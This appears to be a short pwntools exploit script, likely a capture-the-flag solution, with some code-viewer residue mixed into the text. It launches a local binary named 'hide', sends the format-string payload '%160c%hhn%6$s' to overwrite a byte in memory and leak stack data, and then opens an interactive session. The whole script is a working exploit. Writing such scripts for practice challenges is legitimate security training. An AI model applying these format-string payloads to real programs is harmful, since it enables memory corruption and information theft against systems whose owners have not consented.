14 lines
189 B
Python
14 lines
189 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./hide", checksec=False)
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# buf
|
|
s(b"%160c%hhn%6$s")
|
|
|
|
r.interactive() |